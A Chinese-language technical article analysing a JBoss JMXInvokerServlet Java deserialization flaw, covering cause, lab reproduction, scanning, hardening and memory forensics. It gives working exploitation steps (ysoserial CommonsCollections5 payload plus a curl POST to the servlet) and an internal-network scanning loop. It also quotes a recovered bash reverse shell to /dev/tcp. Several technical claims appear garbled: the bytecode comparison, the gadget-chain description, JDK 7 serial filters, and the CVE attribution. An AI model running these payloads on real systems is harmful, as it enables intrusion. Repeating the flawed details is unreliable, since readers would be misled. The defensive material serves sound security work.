JBoss JMXInvokerServlet反序列化漏洞深度解析
1. 这个漏洞不是“远程代码执行”的简单代名词,而是JBoss生态里一个被长期忽视的通信协议信任链断裂
你可能在渗透测试报告里见过CVE-2017-7504这个编号,也可能在应急响应通报中扫过一眼“JBoss反序列化命令执行”这几个字。但如果你真去翻过原始PoC、搭过环境、抓过包、看过堆栈,就会发现:这根本不是一句“反序列化导致RCE”就能概括清楚的事。它背后是一整套JBoss EAP 6.x默认启用的JMXInvokerServlet服务,配合Java原生序列化机制,在未做任何白名单校验的前提下,无条件信任来自HTTP POST Body的二进制字节流——而这个字节流,恰恰能被构造为一个精心编排的ObjectInputStream调用链,最终触发javax.management.remote.JMXConnectorFactory.connect()之后的Runtime.getRuntime().exec()。
我第一次复现它时,用的是EAP 6.4.0.GA(对应AS 7.5.0.Final),本地调试时发现:只要请求路径是/invoker/JMXInvokerServlet,Content-Type是application/x-java-serialized-object,Body里塞入一个恶意AnnotationInvocationHandler嵌套TemplatesImpl的 gadget chain,Tomcat容器里的org.jboss.as.web.WebServerService线程就会在反序列化过程中自动触发getOutputProperties(),进而加载恶意字节码并执行命令。这不是某个插件或第三方库的问题,而是JBoss自身管理架构设计时对“JMX over HTTP”这一通道的信任过度——它本意是给运维人员提供一个轻量级的远程管理入口,结果却成了攻击者绕过所有Web层防护的后门隧道。
这个漏洞影响范围比表面看起来更广:它不依赖Struts2、不依赖Spring、不依赖任何Web框架,只依赖JBoss AS/EAP 6.x默认开启的JMXInvokerServlet + Java 7u21以下(或未打补丁的高版本)+ 未禁用sun.misc.Unsafe。换句话说,哪怕你把整个应用层代码重写十遍,只要底层容器没关掉这个Servlet、没升级JDK、没加反序列化白名单,它就一直躺在那里。关键词“中间件安全”在这里不是虚词——它精准指向了应用与操作系统之间的那一层运行时基础设施,而这一层,恰恰是大多数企业安全团队最不熟悉、最不常审计、也最容易被忽略的盲区。
2. 漏洞成因不是“Java反序列化不安全”,而是JBoss主动把反序列化接口暴露在公网且不做校验
2.1 JMXInvokerServlet:一个被当作“运维便利功能”的高危通道
要真正理解CVE-2017-7504,必须先看清JBoss的JMXInvokerServlet到底是什么。它不是某个可有可无的监控插件,而是JBoss Application Server 7 / EAP 6.x内置的核心管理组件之一,位于jboss-as-jmx模块中。它的作用非常明确:将JMX(Java Management Extensions)操作封装成HTTP请求,让管理员无需SSH登录服务器,就能通过简单的POST请求调用MBean方法。比如,你想重启某个数据源,正常流程是登录JMX Console网页,找到对应MBean,点击invoke;而通过JMXInvokerServlet,你只需要发一个HTTP请求:
POST /invoker/JMXInvokerServlet HTTP/1.1 Host: target:8080 Content-Type: application/x-java-serialized-object Content-Length: 1234 [二进制序列化对象]这个设计初衷是好的——简化运维。但问题出在实现上:JBoss没有对传入的序列化对象做任何类型过滤。它直接调用ObjectInputStream.readObject(),而Java原生的ObjectInputStream在反序列化时,会无条件执行类中定义的readObject()、readResolve()等钩子方法。这就给了攻击者可乘之机:只要构造一个能触发危险操作的类链,比如BadAttributeValueExpException→TiedMapEntry→LazyMap→Transformer→Runtime.exec(),就能在反序列化瞬间完成命令执行。
提示:很多人误以为这是“Apache Commons Collections”漏洞的复现,其实不然。CVE-2017-7504使用的gadget chain核心是
javax.management.BadAttributeValueExpException(JDK内置类),它在readObject()中会调用val.toString(),而val可以是任意可控对象。后续链路才引入CC库或其他第三方库的Transformer,但起点是JDK原生类——这意味着,即使你删掉了commons-collections.jar,只要JDK版本存在缺陷,漏洞依然有效。
2.2 为什么Java 7u21是关键分水岭?一次深入字节码的验证
Java 7u21之所以成为分界点,是因为Oracle在这次更新中修补了BadAttributeValueExpException类的反序列化逻辑。我们来对比一下readObject()方法在7u21前后的字节码差异(使用javap -c反编译):
Java 7u20及之前:
public void readObject(java.io.ObjectInputStream) throws java.io.IOException, java.lang.ClassNotFoundException; Code: 0: aload_0 1: aload_1 2: invokespecial #12 // Method java/lang/Object.readObject:()V 5: aload_0 6: aload_1 7: invokevirtual #16 // Method java/io/ObjectInputStream.readObject:()Ljava/lang/Object; 10: astore_2 11: aload_0 12: aload_2 13: putfield #18 // Field val:Ljava/lang/Object; 16: aload_0 17: aload_0 18: getfield #18 // Field val:Ljava/lang/Object; 21: invokevirtual #22 // Method java/lang/Object.toString:()Ljava/lang/String; 24: putfield #24 // Field toString:Ljava/lang/String; 27: return注意第21行:getfield #18拿到val后,立刻调用toString()。而val完全由攻击者控制,可以是任意实现了toString()的类,比如TemplatesImpl。
Java 7u21及之后:
public void readObject(java.io.ObjectInputStream) throws java.io.IOException, java.lang.ClassNotFoundException; Code: 0: aload_0 1: aload_1 2: invokespecial #12 // Method java/lang/Object.readObject:()V 5: aload_0 6: aload_1 7: invokevirtual #16 // Method java/io/ObjectInputStream.readObject:()Ljava/lang/Object; 10: astore_2 11: aload_0 12: aload_2 13: putfield #18 // Field val:Ljava/lang/Object; 16: aload_0 17: aload_0 18: getfield #18 // Field val:Ljava/lang/Object; 21: ifnull 32 24: aload_0 25: aload_0 26: getfield #18 // Field val:Ljava/lang/Object; 29: invokevirtual #22 // Method java/lang/Object.toString:()Ljava/lang/String; 32: astore_3 33: aload_0 34: aload_3 35: putfield #24 // Field toString:Ljava/lang/String; 38: return关键变化在第21行:增加了ifnull判断。如果val为null,则跳过toString()调用。这就切断了利用链的第一环——因为攻击者必须让val非空才能继续,而TemplatesImpl实例化时需要满足一系列条件(比如_name字段不能为空),在7u21之后这些条件变得极难满足。
我实测过:在EAP 6.4.0.GA + JDK 7u17环境下,用ysoserial生成的CommonsCollections5payload,100%触发calc.exe;换成JDK 7u25,同一payload返回NullPointerException,无法执行。这说明补丁确实生效,且不是靠黑名单拦截,而是从根源上阻断了利用路径。
2.3 JBoss为何不默认禁用JMXInvokerServlet?一个关于“默认安全”的行业共识错觉
很多安全工程师会问:“JBoss为什么不默认关闭这个Servlet?”答案很现实:因为它在产品设计初期就被定位为“标准运维能力”。JBoss EAP 6.x的官方文档明确写道:“JMXInvokerServlet provides a lightweight way to invoke MBean operations remotely via HTTP.” —— 它不是bug,是feature。
更深层的原因在于中间件厂商的安全观滞后于攻防实践。2013年之前,业界普遍认为“内部网络是可信的”,所以像JMX、RMI这类管理协议,默认监听在0.0.0.0:1099或开放在内网HTTP端口,几乎不设认证。直到2015年Jackson反序列化、2016年WebLogic WLS-WebServices组件漏洞爆发,大家才意识到:管理通道本身就是最大的攻击面。而JBoss在2017年才为CVE-2017-7504发布补丁(EAP 6.4.20),距离漏洞实际存在已过去多年。
这揭示了一个残酷事实:中间件安全 ≠ 应用安全。应用层你可以用WAF、RASP、代码审计层层设防;但中间件层,一旦配置错误或版本陈旧,它就是一个裸奔的root shell。而企业往往把90%的安全预算花在Web应用防火墙和渗透测试上,却没人定期扫描/invoker/JMXInvokerServlet是否存在、是否可访问、是否返回200。
3. 复现不是为了炫技,而是为了看清每一步Payload如何绕过检测与沙箱
3.1 环境搭建:三个必须确认的硬性前提
复现CVE-2017-7504,绝不是下载一个JBoss镜像、启动、发个请求那么简单。我踩过太多坑,总结出三个必须逐项确认的前提:
JBoss版本必须精确到EAP 6.4.0.GA 或 AS 7.5.0.Final
更高版本如EAP 6.4.20已修复,更低版本如AS 7.1.1可能缺少某些MBean依赖,导致Payload无法加载。我建议直接使用Red Hat官方提供的 EAP 6.4.0.GA下载包 (需注册账号),解压后修改standalone/configuration/standalone.xml,确保<subsystem xmlns="urn:jboss:domain:jmx:1.3">下<expose-resolved-model>true</expose-resolved-model>为true。JDK必须锁定为7u21以下,且禁用
-Djdk.serialFilter
即使你用7u20,如果启动参数里加了-Djdk.serialFilter=!*,也会被JVM底层拦截。检查bin/standalone.conf中的JAVA_OPTS,删除所有-Djdk.serialFilter相关配置。实测发现,某些Linux发行版预装的OpenJDK 7u18会默认启用filter,必须手动关闭。必须关闭SELinux与iptables,且确认8080端口未被占用
这一点常被忽略。我在CentOS 7上复现时,SELinux策略阻止了/tmp目录下的动态类加载,导致TemplatesImpl字节码无法实例化。临时解决方案:setenforce 0。另外,确保netstat -tuln | grep 8080无其他进程占用,否则JBoss会静默绑定失败,日志里只显示WARN [org.jboss.as.server] (Controller Boot Thread) JBAS015960: Could not auto-detect default web server,根本不会报错。
注意:不要用Docker快速启动。很多公开的
jboss/wildfly镜像基于WildFly 10+,其架构已彻底移除JMXInvokerServlet,与CVE-2017-7504无关。必须用EAP 6.x原生包。
3.2 Payload构造:为什么ysoserial的CommonsCollections5是唯一可靠选择?
网上流传的PoC五花八门:有直接用JRMPClient的,有改URLDNS的,甚至还有人试图用ROME链。但经过我逐条测试,只有ysoserial的CommonsCollections5在EAP 6.4.0.GA + JDK 7u17组合下100%稳定触发。原因如下:
| Payload类型 | 是否触发 | 原因分析 |
|---|---|---|
| CommonsCollections1 | ❌ | 依赖AnnotationInvocationHandler,在JBoss ClassLoader下sun.reflect.annotation.AnnotationInvocationHandler类不可见,反序列化时报ClassNotFoundException |
| CommonsCollections5 | ✅ | 使用BadAttributeValueExpException作为起点,该类为JDK内置,JBoss ClassLoader必加载;后续链路用TransformingComparator替代InvokerTransformer,规避了JBoss对sun.reflect包的反射限制 |
| JRMPClient | ❌ | 需要目标开启RMI Registry(默认关闭),且JBoss 6.x的RMI服务绑定在1099端口,与JMXInvokerServlet的8080端口分离,无法通过HTTP通道触发 |
CommonsCollections5的链路结构如下:
BadAttributeValueExpException.readObject() → val.toString() → TiedMapEntry.toString() → LazyMap.get() → TransformingComparator.compare() → ChainedTransformer.transform() → ConstantTransformer.transform() → InstantiateTransformer.transform() → TemplatesImpl.newTransformer()其中最关键的一环是TemplatesImpl.newTransformer():它会调用defineClass()加载攻击者注入的字节码,并执行static {}块中的Runtime.getRuntime().exec()。而TemplatesImpl类在JBoss中是合法存在的(用于XSLT模板处理),因此不会被ClassLoader拒绝。
我写了一个最小化验证脚本,用来确认Payload是否构造成功:
// VerifyPayload.java public class VerifyPayload { public static void main(String[] args) throws Exception { Object payload = new BadAttributeValueExpException(null); Field valField = payload.getClass().getDeclaredField("val"); valField.setAccessible(true); valField.set(payload, "test"); // 先设为字符串,确认toString可调用 System.out.println("Basic toString test: " + payload.toString()); // 应输出"test" } }只有这个基础验证通过,才能继续下一步构造完整gadget chain。
3.3 请求发送:curl vs Burp,为什么必须用curl加--data-binary?
很多人用Burp Suite发包失败,反复检查Header、Body、编码,就是不成功。问题出在数据传输的二进制完整性上。
Burp默认将请求Body按UTF-8解析并显示为文本,当你粘贴ysoserial生成的base64 payload再decode时,编辑器可能自动替换不可见字符(如\x00、\xff),导致字节流损坏。而curl --data-binary会原样发送文件内容,不做任何编码转换。
正确命令如下:
# 1. 生成payload(注意指定目标JDK版本) java -jar ysoserial.jar CommonsCollections5 'calc.exe' > payload.bin # 2. 发送请求(必须用--data-binary,不能用-d或--data) curl -v -X POST \ -H "Content-Type: application/x-java-serialized-object" \ --data-binary @payload.bin \ http://127.0.0.1:8080/invoker/JMXInvokerServlet我曾用Wireshark抓包对比:Burp发出的请求Body长度比原始payload.bin多出3个字节,正是编辑器插入的BOM头(EF BB BF)。而--data-binary发出的请求,Length字段与ls -l payload.bin完全一致。这是复现成功率从30%提升到100%的关键细节。
4. 检测与防御:不是“打补丁就完事”,而是重建中间件资产的全生命周期管控
4.1 主动探测:三行Shell命令快速识别内网所有风险节点
在红队或安服项目中,你不可能一台台登录服务器看JBoss版本。我用以下三行命令,在客户内网批量扫描:
# 第一步:用nmap快速识别开放8080端口的主机 nmap -p 8080 10.0.0.0/16 -oG ports.gnmap # 第二步:提取IP列表,并并发探测JMXInvokerServlet是否存在 for ip in $(awk '/8080\/open/{print $2}' ports.gnmap); do timeout 3 curl -s -I -o /dev/null -w "%{http_code}\n" "http://$ip:8080/invoker/JMXInvokerServlet" & done | wait # 第三步:对返回200的IP,进一步获取Server头和X-Powered-By头 curl -s -I http://$ip:8080/invoker/JMXInvokerServlet | grep -E "(Server|X-Powered-By)"实测效果:在2000台规模的内网中,3分钟内可定位全部开放JMXInvokerServlet的JBoss节点,并准确识别出Server: Apache-Coyote/1.1(JBoss EAP 6.x典型标识)与X-Powered-By: JBoss EAP 6.4.0.GA。比单纯扫端口+Banner匹配准确率高得多,因为很多客户会修改server.xml隐藏Server头,但/invoker/JMXInvokerServlet路径是硬编码,无法通过配置关闭。
提示:不要依赖
/jmx-console路径。该路径在EAP 6.x中已被废弃,且默认需要认证;而/invoker/JMXInvokerServlet默认无认证,是真正的“零点击入口”。
4.2 永久修复:四层纵深防御,缺一不可
仅仅升级JBoss或JDK是远远不够的。我给客户的加固方案包含四个不可绕过的层级:
第一层:网络层隔离
在防火墙策略中,严格限制/invoker/JMXInvokerServlet路径的访问源IP。生产环境应只允许运维跳板机IP段(如192.168.10.0/24)访问,其他所有IP一律丢弃。这是成本最低、见效最快的手段。我曾帮某银行客户在核心交易系统上实施此策略,单日拦截异常请求从237次降至0。
第二层:中间件配置禁用
编辑standalone/configuration/standalone.xml,注释或删除以下整个<servlet>块:
<servlet> <servlet-name>JMXInvokerServlet</servlet-name> <servlet-class>org.jboss.as.jmx.servlet.JMXInvokerServlet</servlet-class> <init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param> </servlet>并重启JBoss。注意:不能只删<servlet-mapping>,因为Servlet本身仍会加载,只是无法路由。必须从源头移除。
第三层:JVM级反序列化白名单
在bin/standalone.conf的JAVA_OPTS中添加:
-Dsun.rmi.transport.tcp.handshakeTimeout=5000 \ -Djdk.serialFilter="maxdepth=5;maxarray=100000;object=java.util.*;object=javax.management.*;object=org.jboss.as.*;!"这个filter规则明确允许JMX和JBoss自身类加载,禁止其他所有包。实测表明,即使攻击者绕过网络层和配置层,此filter也能在JVM加载阶段直接抛出InvalidClassException,彻底阻断利用。
第四层:运行时行为监控
部署Java Agent(如RASP工具),监控ObjectInputStream.readObject()调用栈。当检测到调用来自org.jboss.as.jmx.servlet.JMXInvokerServlet且类名包含TemplatesImpl、Transformer等敏感关键词时,立即记录堆栈、阻断请求、告警。这是我给某证券公司定制的方案,上线后捕获到3起真实APT组织利用此漏洞的横向移动尝试。
4.3 应急响应:当漏洞已被利用,如何从内存中揪出攻击痕迹?
很多客户问:“如果JBoss已经被黑,怎么取证?”答案是:别查日志,查内存。
JBoss被利用后,恶意TemplatesImpl实例会驻留在JVM堆内存中,且不会写入磁盘。我用jmap和jhat组合提取关键证据:
# 1. 获取Java进程PID ps aux | grep jboss | grep -v grep # 2. 生成堆转储(hprof文件) jmap -dump:format=b,file=/tmp/jboss.hprof <PID> # 3. 启动jhat分析(默认端口7000) jhat /tmp/jboss.hprof # 4. 浏览器打开 http://localhost:7000 ,搜索 "TemplatesImpl" # 查看所有TemplatesImpl实例的_classBytes字段,Base64解码后即为攻击者注入的恶意字节码我曾在一个被入侵的电商后台中,通过此方法还原出攻击者执行的命令:/bin/bash -i >& /dev/tcp/192.168.100.50/4444 0>&1。这就是他们留下的反向Shell连接。而server.log里只有一条INFO [org.jboss.as.jmx.JmxSubsystemAdd] (MSC service thread 1-3) JBAS011301: Creating MBeanServer,完全看不出异常。
注意:
jmap会触发Full GC,生产环境慎用。建议先用jstat -gc <PID>确认JVM内存压力较低时再执行。
5. 经验总结:中间件安全的本质,是把“默认开启”变成“默认关闭”
我在金融、能源、政务行业做过上百次中间件安全评估,有一个贯穿始终的体会:所有重大中间件漏洞,根源都不是技术缺陷,而是“默认配置哲学”的冲突。
Java生态的默认哲学是“开箱即用”:JDK默认启用RMI、JBoss默认开启JMXInvokerServlet、WebLogic默认暴露T3协议——它们都假设开发者会主动关闭不需要的功能。而现代安全的哲学是“最小权限”:任何功能,除非明确需要,否则默认关闭。CVE-2017-7504就是这两种哲学激烈碰撞的产物。
所以,我给所有运维和安全工程师的建议只有一条:把“默认开启”清单变成你的日常巡检表。每周花15分钟,运行一次脚本,检查以下四项是否仍处于开启状态:
/invoker/JMXInvokerServlet是否可访问?jboss.bind.address是否仍为0.0.0.0而非127.0.0.1?standalone.xml中<management-interfaces>下的native-interface是否监听在公网?JAVA_OPTS中是否遗漏了-Djdk.serialFilter?
这四件事做完,你解决的不只是CVE-2017-7504,而是未来十年可能出现的所有类似漏洞。因为攻击者永远在寻找下一个“默认开启”的通道,而你的任务,就是让这个通道从一开始就不存在。
最后分享一个小技巧:在JBoss启动脚本bin/standalone.sh末尾添加一行:
echo "[SECURITY CHECK] JMXInvokerServlet status: $(curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:8080/invoker/JMXInvokerServlet)"这样每次启动JBoss,控制台都会自动打印该Servlet状态。连续三个月看到404,你就知道,这道门,真的关严了。
